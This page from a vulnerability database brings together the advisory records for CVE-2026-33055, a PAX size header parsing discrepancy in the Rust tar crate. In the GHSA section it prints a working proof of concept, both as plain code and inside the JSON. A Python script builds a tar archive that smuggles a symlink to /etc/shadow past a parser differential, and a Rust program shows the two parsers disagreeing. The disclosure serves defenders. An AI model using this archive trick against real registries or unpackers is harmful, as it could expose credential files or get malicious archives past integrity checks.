Vulnerability-Lookup

RUSTSEC-2026-0068 (CVE-2026-33055)

Vulnerability from osv_rustsec – Published: 2026-03-19 12:00 – Updated: 2026-03-23 09:31 – Source website

Summary

tar-rs incorrectly ignores PAX size headers if header size is nonzero

Details

Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX size header in cases where the base header size is nonzero.

As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue.

Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size — other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers.

This issue has been fixed in version 0.4.45.

Severity

5.1 (Medium)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

URL

Type

	https://crates.io/crates/tar	PACKAGE
	https://rustsec.org/advisories/RUSTSEC-2026-0068.html	ADVISORY

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "categories": [],
        "cvss": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tar",
        "purl": "pkg:cargo/tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.4.45"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2026-33055",
    "GHSA-gchp-q4r4-x4ff"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX\nsize header in cases where the base header size is nonzero.\n\nAs part of [CVE-2025-62518][astral-cve], the [astral-tokio-tar]\nproject was changed to correctly honor PAX size headers in the case where it\nwas different from the base header. This is almost the inverse of the\nastral-tokio-tar issue.\n\nAny discrepancy in how tar parsers honor file size can be used to create\narchives that appear differently when unpacked by different archivers. In this\ncase, the tar-rs (Rust tar) crate is an outlier in checking for the header size\n\u2014 other tar parsers (including e.g. Go [`archive/tar`][go-tar]) unconditionally\nuse the PAX size override. This can affect anything that uses the tar crate to\nparse archives and expects to have a consistent view with other parsers.\n\nThis issue has been fixed in version 0.4.45.\n\n[astral-cve]: https://www.cve.org/CVERecord?id=CVE-2025-62518\n[astral-tokio-tar]: https://github.com/astral-sh/tokio-tar\n[go-tar]: https://pkg.go.dev/archive/tar",
  "id": "RUSTSEC-2026-0068",
  "modified": "2026-03-23T09:31:59Z",
  "published": "2026-03-19T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/tar"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0068.html"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tar-rs incorrectly ignores PAX size headers if header size is nonzero"
}

CVE-2026-33055 (GCVE-0-2026-33055)

Vulnerability from cvelistv5 – Published: 2026-03-20 07:06 – Updated: 2026-03-20 15:44

Title

tar-rs incorrectly ignores PAX size headers if header size is nonzero

Summary

tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.

Severity

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-20 15:43 UTC

CWE

CWE-843 - Access of Resource Using Incompatible Type ('Type Confusion')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/alexcrichton/tar-rs/security/a…	x_refsource_CONFIRM
https://github.com/alexcrichton/tar-rs/commit/de1…	x_refsource_MISC
https://www.cve.org/CVERecord?id=CVE-2025-62518	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
alexcrichton	tar-rs	Affected: < 0.4.45

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33055",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-20T15:43:55.137601Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-20T15:44:15.706Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "tar-rs",
          "vendor": "alexcrichton",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.4.45"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-843",
              "description": "CWE-843: Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-20T07:06:08.390Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
        },
        {
          "name": "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946"
        },
        {
          "name": "https://www.cve.org/CVERecord?id=CVE-2025-62518",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-62518"
        }
      ],
      "source": {
        "advisory": "GHSA-gchp-q4r4-x4ff",
        "discovery": "UNKNOWN"
      },
      "title": "tar-rs incorrectly ignores PAX size headers if header size is nonzero"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33055",
    "datePublished": "2026-03-20T07:06:08.390Z",
    "dateReserved": "2026-03-17T18:10:50.213Z",
    "dateUpdated": "2026-03-20T15:44:15.706Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-GCHP-Q4R4-X4FF

Vulnerability from github – Published: 2026-03-20 17:25 – Updated: 2026-05-19 16:05

Summary

tar-rs incorrectly ignores PAX size headers if header size is nonzero

Details

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}

tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.44"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T17:25:05Z",
    "nvd_published_at": "2026-03-20T07:16:13Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n\u003e I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used \u003c INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn\u0027t disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: \u0026[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec\u003cu8\u003e) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(\u0026mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(\u0026path).unwrap();\n    sync_parse(\u0026data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -\u003e /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.",
  "id": "GHSA-gchp-q4r4-x4ff",
  "modified": "2026-05-19T16:05:57Z",
  "published": "2026-03-20T17:25:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/composefs/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alexcrichton/tar-rs"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0068.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-62518"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tar-rs incorrectly ignores PAX size headers if header size is nonzero"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

RUSTSEC-2026-0068 (CVE-2026-33055)

CVE-2026-33055 (GCVE-0-2026-33055)

GHSA-GCHP-Q4R4-X4FF

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour